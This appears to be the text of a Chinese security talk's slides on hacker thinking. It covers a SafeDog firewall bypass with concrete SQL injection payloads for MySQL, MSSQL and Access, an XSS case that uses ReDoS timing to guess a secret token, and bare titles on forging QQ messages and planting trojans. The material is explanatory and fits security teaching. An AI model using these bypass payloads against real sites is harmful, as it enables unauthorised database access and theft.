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为什么做黑客



如何成为黑客







程序员的思考方法



黑客的思考方法



对抗



在对最新版的安全狗SQL注入防护规则进行

测试时，发现：

输入：
/*!/*!select*//*xxxxxxx/*xxxxxxxxxxxx*/1,2,3,4,5/*
xxxxxxx/*xxxxxxxxxxxx*/from/*xxxxxxx/*xxxxxxxxx
xxx*/mysql.user%23
输出：



输入：

/*!/*!select*//*xxxxxxx/*xxxxxxxxxxxx*/1,2,3,
4,5/*xxxxxxx/*xxxxxxxxxxxx*/from/*xxxxxxx/*xx
xxxxxxxxxx*/mysql.user%23

输出：

select /*xxxxxxx 1,2,3,4,5/*xxxxxxx 
from/*xxxxxxx mysql.user#&type=1

结论：

/**/被过滤掉了，安全狗会删掉垃圾干扰数据！



思路：

能否让安全狗将实际的攻击向量给“过滤”掉？

能否将攻击向量放入到/**/等注释里面，让安全狗在
SQL注入规则匹配时过滤掉，但是在数据引擎中能够执
行？

瞒天过海，行不行？



需解决的问题：
1.注释在什么时候不生效？

2.如何让安全狗认为我们的攻击向量是注释？

3.每种数据库都有哪些尚未挖掘的特性可供利用？



•mysql:
and~~0=(select 1 as '/*') union all select 

1 as '*//*',2,3,4,5 from mysql.user as `x*/`%23

and 1=2 union all /*!/*!select*/1 as 
'*/',2,3,4,5 from mysql.user%23

•mssql:
and 0=(select 1 as [/*]) union all select 1 

as [*//*],2,3,4,5 from [test] as [*/]--

•access:
and 0=(select top 1 1 as [/*] from admin 

as [*//*]) union all select 1 as [*//*],2,3,4,5 
from admin as [*/]



http://pkavexam.sinaapp.com/wytest.htm

一个 XSS 的案例



案例思路：

进入缺陷流程之前，需要满足 token == data 这个判断



查看条件判断中数据的来源





如何让 token  === data 的判断成立？

如何获得data的值？

必须先知道data的值



程序中有一段专门用来检测data与
token是否匹配的代码

如果 data 能与token 发生正则匹配，则输出 ok





然而，这样并没什么用！



https://www.owasp.org/index.php/Regular_expre
ssion_Denial_of_Service_-_ReDoS

引入正则拒绝服务（ReDoS）的概念





合理利用这个报错特性

一个会报错，一个不会报错！



时间上的差别

可以看到，当正则开头匹配时，正则用时61毫秒，
而正则开头不匹配时，用时不到1毫秒



说了这么多，我们在利用页面里，好像似乎也没办
法知道缺陷页面里的正则消耗了多少时间？



缺陷页面 x

http://pkavexam.sinaap
p.com/wytest.htm

利用页面：

单线程：两个页面在一个线程内进行。

大运算量，卡住了

会跟着一起卡住









猜测过程：最终可以将data (secret) 猜解出来



答案：

http://appmaker.sinaapp.com/exp.htm



黑客的奇思妙想



用QQ举例



如何伪造系统消息







如何注册喜欢的QQ







如何通过QQ种木马









如何找回丢失的QQ









如何靠腾讯买房买车







一组有趣的数据













嗯！ 一定是因为工资！



期望
程序员

删了LOL，拿起你的鼠标，

跟我们一起拯救世界！



谢谢大家

微信：GUESTT



无声说安全


